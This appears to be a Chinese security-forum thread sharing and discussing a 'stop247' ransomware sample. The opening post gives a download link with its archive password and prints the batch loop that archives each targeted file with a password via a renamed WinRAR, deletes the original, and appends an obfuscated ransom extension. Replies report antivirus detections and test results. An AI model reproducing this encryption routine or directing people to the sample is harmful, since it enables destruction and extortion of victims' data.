#stop247 #ransomware

显示全部楼层 · 发表于 2022-8-30 15:56:24

https://ljqnb.lanzoub.com/in1CJ0aeocub

解压密码：52pojie

for /f "delims=" %%i in (%fl%) do (
for /f "delims=" %%j in ("%%i") do (
%start% a -p%key% -inul -y -m0 -k -mt64 -ibck -ep -afzip -df -x@exclude.txt "%%~dpj\%%~nxj.[s%odiijyhlegl%t%xwkpdcfty%o%quvt%p%phlwsxgsmt%@%xqh%o%hbtmtscxnob%n%rlojavf%i%hibojsfepytd%o%yanclb%n%suvsahl%m%imih%a%zwkoqnqjsz%i%zzjwnnijfjli%l%dtauzjbjqpzb%.%jfafzexuxvysgm%c%vtlhsrddszjb%o%jesu%m%hzykufgodybio%].id[%key:~-7%].stop" "%%i"
)
)

复制代码

update.exe是winrar

感觉挺有意思

显示全部楼层 · 发表于 2022-8-30 16:03:13

解压报

显示全部楼层 · 发表于 2022-8-30 16:04:59

有能力的双击一下bat看看能不能跑起来，可别杀了个黑客工具就好了啊

显示全部楼层 · 发表于 2022-8-30 16:07:26

本帖最后由 anxiety520 于 2022-8-30 16:20 编辑

KIS 事件: 检测到可以被犯罪分子利用以破坏您的计算机或个人数据的合法软件
用户: DESKTOP\86137
用户类型: 活动用户
应用程序名称: 7zG.exe
应用程序路径: C:\Program Files\7-Zip
组件: 文件反病毒
结果说明: 检测到
类型: 可能会被入侵者利用以破坏您的计算机或个人数据的合法软件
名称: not-a-virus:NetTool.Win32.Scan.qj
精确度: 确切
威胁级别: 低
对象类型: 文件
对象名称: NS.exe.exe
对象路径: C:\Users\86137\Downloads\lex
MD5: 597DE376B1F80C06D501415DD973DCEC
原因: 数据库
数据库发布日期: 今天，2022/8/30 7:46:00

无法测试双击

显示全部楼层 · 发表于 2022-8-30 16:07:46

上个月看到过这个stop247，不知道是不是同一个

显示全部楼层 · 发表于 2022-8-30 16:09:22

腾管16，1x

显示全部楼层 · 发表于 2022-8-30 16:10:04

本帖最后由 kuroandsan 于 2022-8-30 16:11 编辑

bat双击之后自己消失了

点了一圈没有文件被加密

显示全部楼层 · 发表于 2022-8-30 16:10:42

Jirehlov1234 发表于 2022-8-30 16:07
上个月看到过这个stop247，不知道是不是同一个

几年前的了

显示全部楼层 · 发表于 2022-8-30 16:14:48

anxiety520 发表于 2022-8-30 08:10
几年前的了

没啊，这个挺新的，bleeping那边最早是7月15号

显示全部楼层 · 发表于 2022-8-30 16:19:36

kill

[病毒样本] #stop247 #ransomware

本帖子中包含更多资源

本帖子中包含更多资源